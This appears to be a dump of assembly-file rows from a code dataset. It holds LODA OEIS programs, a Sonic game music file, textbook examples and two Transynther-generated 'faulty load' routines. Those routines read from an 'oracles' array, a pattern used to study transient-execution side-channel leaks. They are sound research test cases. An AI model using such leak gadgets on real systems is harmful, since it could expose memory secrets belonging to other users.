33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
35.50885
2,999
0.655202
ce5c10d15d2ba2bea31414a461c72d418c616fa7
303
asm
Assembly
programs/oeis/052/A052255.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/052/A052255.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/052/A052255.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A052255: Partial sums of A050484. ; 1,13,81,345,1155,3267,8151,18447,38610,75790,140998,250614,428298,707370,1133730,1769394,2696727,4023459,5888575,8469175,11988405,16724565,23021505,31300425 lpb $0 mov $2,$0 sub $0,1 seq $2,50484 ; Partial sums of A051946. add $1,$2 lpe add $1,1 mov $0,$1
25.25
158
0.729373
0a49f191e9d713e29c47eb3c3cbd302e452575f8
5,346
asm
Assembly
s1/music-original/Mus90 - Continue Screen.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
9
2017-10-09T20:28:45.000Z
2021-06-29T21:19:20.000Z
s1/music-original/Mus90 - Continue Screen.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
12
2018-08-01T13:52:20.000Z
2022-02-21T02:19:37.000Z
s1/music-original/Mus90 - Continue Screen.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
2
2018-02-17T19:50:36.000Z
2019-10-30T19:28:06.000Z
Mus90_Continue_Screen_Header: smpsHeaderStartSong 1 smpsHeaderVoice Mus90_Continue_Screen_Voices smpsHeaderChan $06, $03 smpsHeaderTempo $01, $07 smpsHeaderDAC Mus90_Continue_Screen_DAC smpsHeaderFM Mus90_Continue_Screen_FM1, $E5, $08 smpsHeaderFM Mus90_Continue_Screen_FM2, $E8, $08 smpsHeaderFM Mus90_Continue_Screen_FM3, $F4, $0F smpsHeaderFM Mus90_Continue_Screen_FM4, $F4, $0F smpsHeaderFM Mus90_Continue_Screen_FM5, $F4, $0A smpsHeaderPSG Mus90_Continue_Screen_PSG1, $D0, $03, $00, fTone_05 smpsHeaderPSG Mus90_Continue_Screen_PSG2, $DC, $06, $00, fTone_05 smpsHeaderPSG Mus90_Continue_Screen_PSG3, $DC, $00, $00, fTone_04 ; FM1 Data Mus90_Continue_Screen_FM1: smpsSetvoice $00 dc.b nRst, $30 Mus90_Continue_Screen_Loop04: smpsAlterPitch $01 dc.b nRst, $0C, nEb6, $12, nRst, $06, nEb6, nRst, nE6, $0C, nRst, $06 dc.b nCs6, $18, nRst, $06 smpsLoop $00, $03, Mus90_Continue_Screen_Loop04 dc.b nF6, $06, nRst, nF6, nRst, nF6, nRst, nC6, nRst, nBb5, $0C, nRst dc.b $06, nD6, $4E smpsStop ; FM2 Data Mus90_Continue_Screen_FM2: smpsSetvoice $01 smpsAlterVol $02 smpsAlterPitch $F4 smpsNop $01 dc.b nA5, $0C, nAb5, nG5, nFs5 smpsAlterVol $FE smpsAlterPitch $0C smpsSetvoice $02 Mus90_Continue_Screen_Loop03: dc.b nA4, $06, nRst, nA4, nRst, nE4, nRst, nE4, nRst, nG4, $12, nFs4 dc.b $0C, nG4, $06, nFs4, $0C smpsAlterPitch $01 smpsLoop $00, $03, Mus90_Continue_Screen_Loop03 smpsAlterPitch $FD dc.b nB4, $06, nRst, nB4, nRst, nFs4, nRst, nFs4, nRst, nE5, $0C, nRst dc.b $06, nEb5, $4E smpsNop $01 smpsStop ; FM3 Data Mus90_Continue_Screen_FM3: smpsSetvoice $03 dc.b nRst, $30 Mus90_Continue_Screen_Loop02: dc.b nE6, $06, nRst, nE6, nRst, nCs6, nRst, nCs6, nRst, nD6, $12, nD6 dc.b $1E smpsLoop $00, $03, Mus90_Continue_Screen_Loop02 dc.b nE6, $06, nRst, nE6, nRst, nCs6, nRst, nCs6, nRst, nG6, $0C, nRst dc.b $06, nG6, $1E, smpsNoAttack, $30 smpsStop ; FM4 Data Mus90_Continue_Screen_FM4: smpsSetvoice $03 dc.b nRst, $30 Mus90_Continue_Screen_Loop01: dc.b nCs6, $06, nRst, nCs6, nRst, nA5, nRst, nA5, nRst, nB5, $12, nB5 dc.b $1E smpsLoop $00, $03, Mus90_Continue_Screen_Loop01 dc.b nCs6, $06, nRst, nCs6, nRst, nA5, nRst, nA5, nRst, nD6, $0C, nRst dc.b $06, nD6, $4E ; FM5 Data Mus90_Continue_Screen_FM5: ; PSG1 Data Mus90_Continue_Screen_PSG1: ; PSG2 Data Mus90_Continue_Screen_PSG2: ; PSG3 Data Mus90_Continue_Screen_PSG3: smpsStop ; DAC Data Mus90_Continue_Screen_DAC: dc.b nRst, $30 Mus90_Continue_Screen_Loop00: dc.b dKick, $0C, dSnare smpsLoop $00, $0E, Mus90_Continue_Screen_Loop00 dc.b dKick, $0C, dSnare, $06, dKick, $0C smpsStop Mus90_Continue_Screen_Voices: ; Voice $00 ; $3A ; $51, $08, $51, $02, $1E, $1E, $1E, $10, $1F, $1F, $1F, $0F ; $00, $00, $00, $02, $0F, $0F, $0F, $1F, $18, $24, $22, $81 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $05, $00, $05 smpsVcCoarseFreq $02, $01, $08, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $10, $1E, $1E, $1E smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0F, $1F, $1F, $1F smpsVcDecayRate2 $02, $00, $00, $00 smpsVcDecayLevel $01, $00, $00, $00 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $01, $22, $24, $18 ; Voice $01 ; $3B ; $52, $31, $31, $51, $12, $14, $12, $14, $0D, $00, $0D, $02 ; $00, $00, $00, $01, $4F, $0F, $5F, $3F, $1E, $18, $2D, $80 smpsVcAlgorithm $03 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $05, $03, $03, $05 smpsVcCoarseFreq $01, $01, $01, $02 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $14, $12, $14, $12 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $02, $0D, $00, $0D smpsVcDecayRate2 $01, $00, $00, $00 smpsVcDecayLevel $03, $05, $00, $04 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $2D, $18, $1E ; Voice $02 ; $3A ; $61, $3C, $14, $31, $9C, $DB, $9C, $DA, $04, $09, $04, $03 ; $03, $01, $03, $00, $1F, $0F, $0F, $AF, $21, $47, $31, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $03, $01, $03, $06 smpsVcCoarseFreq $01, $04, $0C, $01 smpsVcRateScale $03, $02, $03, $02 smpsVcAttackRate $1A, $1C, $1B, $1C smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $03, $04, $09, $04 smpsVcDecayRate2 $00, $03, $01, $03 smpsVcDecayLevel $0A, $00, $00, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $31, $47, $21 ; Voice $03 ; $1C ; $6F, $01, $21, $71, $9F, $DB, $9E, $5E, $0F, $07, $06, $07 ; $08, $0A, $0B, $00, $8F, $8F, $FF, $FF, $18, $8D, $26, $80 smpsVcAlgorithm $04 smpsVcFeedback $03 smpsVcUnusedBits $00 smpsVcDetune $07, $02, $00, $06 smpsVcCoarseFreq $01, $01, $01, $0F smpsVcRateScale $01, $02, $03, $02 smpsVcAttackRate $1E, $1E, $1B, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $07, $06, $07, $0F smpsVcDecayRate2 $00, $0B, $0A, $08 smpsVcDecayLevel $0F, $0F, $08, $08 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $26, $0D, $18
31.263158
72
0.621586
9588560e1bba2d01a0575bedeb6bd8faa27f4630
502
asm
Assembly
examples/hello-world.asm
jodalyst/riscemu
cede73c3c93c1d00168aa020dd9d982a213e3572
[ "MIT" ]
9
2021-07-08T11:22:55.000Z
2022-01-30T10:32:48.000Z
examples/hello-world.asm
jodalyst/riscemu
cede73c3c93c1d00168aa020dd9d982a213e3572
[ "MIT" ]
8
2021-12-03T18:16:19.000Z
2022-03-31T20:49:09.000Z
examples/hello-world.asm
jodalyst/riscemu
cede73c3c93c1d00168aa020dd9d982a213e3572
[ "MIT" ]
2
2022-01-16T05:50:04.000Z
2022-03-23T21:27:27.000Z
; hello-world.asm ; print "hello world" to stdout and exit .data msg: .ascii "Hello world\n" .text addi a0, zero, 1 ; print to stdout addi a1, zero, msg ; load msg address addi a2, zero, 12 ; write 12 bytes addi a7, zero, SCALL_WRITE ; write syscall code scall addi a0, zero, 0 ; set exit code to 0 addi a7, zero, SCALL_EXIT ; exit syscall code scall
35.857143
60
0.501992
c16b79f17b9cf9d6eced8d2fe8a170c3925043f2
989
asm
Assembly
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_prompt.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_prompt.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_prompt.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
; Prompt For Integers (_prompt.asm) INCLUDE Irvine32.inc .code ;---------------------------------------------------- PromptForIntegers PROC ; Prompts the user for an array of integers and fills ; the array with the user's input. ; Receives: ; ptrPrompt:PTR BYTE ; prompt string ; ptrArray:PTR DWORD ; pointer to array ; arraySize:DWORD ; size of the array ; Returns: nothing ;----------------------------------------------------- arraySize EQU [ebp+16] ptrArray EQU [ebp+12] ptrPrompt EQU [ebp+8] enter 0,0 pushad ; save all registers mov ecx,arraySize cmp ecx,0 ; array size <= 0? jle L2 ; yes: quit mov edx,ptrPrompt ; address of the prompt mov esi,ptrArray L1: call WriteString ; display string call ReadInt ; read integer into EAX call Crlf ; go to next output line mov [esi],eax ; store in array add esi,4 ; next integer loop L1 L2: popad ; restore all registers leave ret 12 ; restore the stack PromptForIntegers ENDP END
24.121951
54
0.625885
46ac5872fcf49501b69dc0bc081fb1eefdd18db2
50
asm
Assembly
src/main/fragment/mos6502-common/qvoz1_derefidx_vbuyy=_deref_qvoc2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/qvoz1_derefidx_vbuyy=_deref_qvoc2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/qvoz1_derefidx_vbuyy=_deref_qvoc2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {c2} sta ({z1}),y iny lda {c2}+1 sta ({z1}),y
8.333333
12
0.52
b676fa904298512ec13042087fff7893c7b9b53a
717
asm
Assembly
oeis/086/A086148.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/086/A086148.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/086/A086148.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A086148: Sum of the orders of the elements in the dihedral group D_2n. ; 3,7,13,19,31,33,57,59,79,83,133,101,183,157,177,203,307,219,381,271,343,377,553,349,571,523,601,529,871,501,993,747,843,887,973,743,1407,1105,1177,983,1723,987,1893,1309,1371,1613,2257,1293,2199,1663,2013,1831,2863,1749,2441,1961,2515,2555,3541,1737,3783,2917,2749,2859,3427,2463,4557,3139,3687,2849,5113,2767,5403,4147,3797,3925,4927,3453,6321,3751,5083,5087,6973,3479,5903,5593,5865,4949,8011,4023,6933,5761,6703,6677,7393,4973,9507,6499,6969,5931 mov $2,47970 mov $3,1 lpb $0 mov $1,$3 div $3,$2 mov $2,$0 seq $2,57661 ; a(n) = Sum_{k=1..n} lcm(n,k)/n. add $3,$0 sub $0,$1 add $3,$2 lpe mov $0,$3 sub $0,1 mul $0,2 add $0,3
37.736842
451
0.698745
1f692f42615c7a6a2188c9c2cda7072976dd99f5
5,735
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2639.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2639.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2639.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %rcx push %rdi push %rsi lea addresses_D_ht+0x14d4c, %rsi lea addresses_UC_ht+0x1b620, %rdi clflush (%rdi) nop nop nop nop inc %r14 mov $14, %rcx rep movsq nop nop and $36090, %rcx pop %rsi pop %rdi pop %rcx pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi // Load lea addresses_PSE+0x191bc, %rcx nop nop xor $10919, %r10 movups (%rcx), %xmm1 vpextrq $0, %xmm1, %r14 nop nop nop nop nop sub $55241, %r10 // REPMOV lea addresses_D+0xbcdc, %rsi lea addresses_normal+0x143dc, %rdi nop nop nop nop nop cmp $55882, %rax mov $103, %rcx rep movsq nop nop inc %rdi // Store mov $0xb6a, %rcx nop cmp %r10, %r10 mov $0x5152535455565758, %r14 movq %r14, %xmm5 movups %xmm5, (%rcx) nop nop nop nop nop cmp $34041, %rdi // Store mov $0x748e000000001dc, %r13 nop nop nop nop nop add $21389, %rax mov $0x5152535455565758, %rdi movq %rdi, %xmm1 vmovups %ymm1, (%r13) nop nop and $16533, %r14 // Load lea addresses_D+0x21dc, %r13 nop nop nop nop nop cmp %rax, %rax mov (%r13), %ecx nop nop nop nop sub %rax, %rax // Load lea addresses_RW+0x315c, %rcx sub $40802, %rdi movb (%rcx), %dl nop nop nop nop inc %rdx // Faulty Load lea addresses_A+0x1a9dc, %r10 clflush (%r10) nop nop nop nop nop add %rcx, %rcx mov (%r10), %edi lea oracles, %r10 and $0xff, %rdi shlq $12, %rdi mov (%r10,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.621118
2,999
0.656146
e5451fe11994588a48d3c24e12a069f6a07002ea
556
asm
Assembly
oeis/017/A017022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017022: a(n) = (7*n + 3)^6. ; 729,1000000,24137569,191102976,887503681,3010936384,8303765625,19770609664,42180533641,82653950016,151334226289,262144000000,433626201009,689869781056,1061520150601,1586874322944,2313060765625,3297303959104,4608273662721,6327518887936,8550986578849,11390625000000,14976071831449,19456426971136,25002110044521,31806802621504,40089475140625,50096498540544,62103840598801,76419346977856,93385106978409,113379904000000,136821750708889,164170508913216,195930594145441,232653764952064,274941996890625 mul $0,7 add $0,3 pow $0,6
79.428571
496
0.874101
1627317194a8d792bb0862963cf9f69f867cc17c
8,257
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x14566, %r8 nop sub $6147, %r9 movl $0x61626364, (%r8) nop nop xor $38847, %r14 lea addresses_normal_ht+0x24c6, %rcx nop nop nop nop nop cmp %r8, %r8 mov (%rcx), %r10d nop nop nop nop nop add $63217, %r10 lea addresses_UC_ht+0x1006, %rbx nop nop nop and %rsi, %rsi movw $0x6162, (%rbx) inc %r14 lea addresses_UC_ht+0xf0a2, %rsi lea addresses_WT_ht+0xde66, %rdi nop and $53768, %r14 mov $86, %rcx rep movsb dec %r10 lea addresses_WC_ht+0x1ece6, %rcx nop nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %r8 movq %r8, (%rcx) nop nop nop cmp %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rbp push %rdx push %rsi // Store lea addresses_WT+0x15046, %rdx clflush (%rdx) nop nop nop nop and %r8, %r8 mov $0x5152535455565758, %r9 movq %r9, %xmm5 movups %xmm5, (%rdx) nop sub $54735, %r9 // Store lea addresses_WT+0x1f57a, %rsi nop nop sub $55514, %r8 mov $0x5152535455565758, %r10 movq %r10, %xmm1 movups %xmm1, (%rsi) cmp $11108, %rsi // Store lea addresses_A+0x183e, %rsi clflush (%rsi) nop nop nop nop add %r15, %r15 movw $0x5152, (%rsi) cmp $48946, %rbp // Store lea addresses_A+0x125f6, %rsi nop nop nop cmp $55187, %rdx movw $0x5152, (%rsi) nop nop nop nop dec %rbp // Store lea addresses_A+0xbd66, %rsi nop nop nop inc %r15 mov $0x5152535455565758, %r8 movq %r8, %xmm1 movups %xmm1, (%rsi) nop nop inc %rdx // Store lea addresses_A+0xf566, %r15 nop nop nop nop inc %r9 mov $0x5152535455565758, %rdx movq %rdx, %xmm2 movups %xmm2, (%r15) nop nop nop dec %rbp // Store lea addresses_WC+0xbd66, %r10 nop nop nop sub %rdx, %rdx mov $0x5152535455565758, %rbp movq %rbp, %xmm1 and $0xffffffffffffffc0, %r10 movaps %xmm1, (%r10) nop nop nop and %r9, %r9 // Store lea addresses_D+0x19b66, %r9 clflush (%r9) inc %rbp mov $0x5152535455565758, %r8 movq %r8, (%r9) nop nop nop nop nop xor $27495, %rbp // Store lea addresses_D+0x5966, %r10 nop nop nop nop add $17215, %r15 mov $0x5152535455565758, %r9 movq %r9, %xmm6 vmovups %ymm6, (%r10) and $27195, %r9 // Store lea addresses_WC+0x8f1b, %rbp nop nop cmp %rdx, %rdx movb $0x51, (%rbp) nop nop nop nop add $18599, %r9 // Store lea addresses_WT+0x17966, %r8 nop nop nop xor %r9, %r9 mov $0x5152535455565758, %r10 movq %r10, %xmm1 vmovups %ymm1, (%r8) nop sub $24258, %r8 // Store lea addresses_D+0x9266, %rdx nop nop nop and $63249, %r8 movb $0x51, (%rdx) add $33397, %rbp // Faulty Load lea addresses_A+0xbd66, %rbp nop nop xor %r15, %r15 movb (%rbp), %dl lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rsi pop %rdx pop %rbp pop %r9 pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 